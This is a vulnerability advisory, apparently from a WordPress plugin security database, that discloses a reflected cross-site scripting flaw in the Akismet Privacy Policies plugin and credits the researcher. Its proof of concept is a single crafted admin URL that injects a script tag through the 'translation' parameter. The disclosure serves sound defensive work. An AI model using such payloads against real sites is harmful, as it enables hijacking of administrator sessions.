WordPress Plugin Vulnerabilities
Akismet Privacy Policies <= 2.0.1- Reflected Cross-Site Scripting
Description
The plugin does not sanitise and escape the translation parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting
Proof of Concept
https://example.com/wp-admin/options-general.php?page=akismet_privacy_notice_settings_group&translation=%22%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E
Affects Plugins
No known fix - plugin closed
References
Classification
Miscellaneous
Original Researcher
Krzysztof Zając
Submitter
Krzysztof Zając
Submitter website
Verified
Yes
Timeline
Publicly Published
2022-03-07 (about 6 months ago)
Added
2022-03-07 (about 6 months ago)
Last Updated
2022-04-09 (about 5 months ago)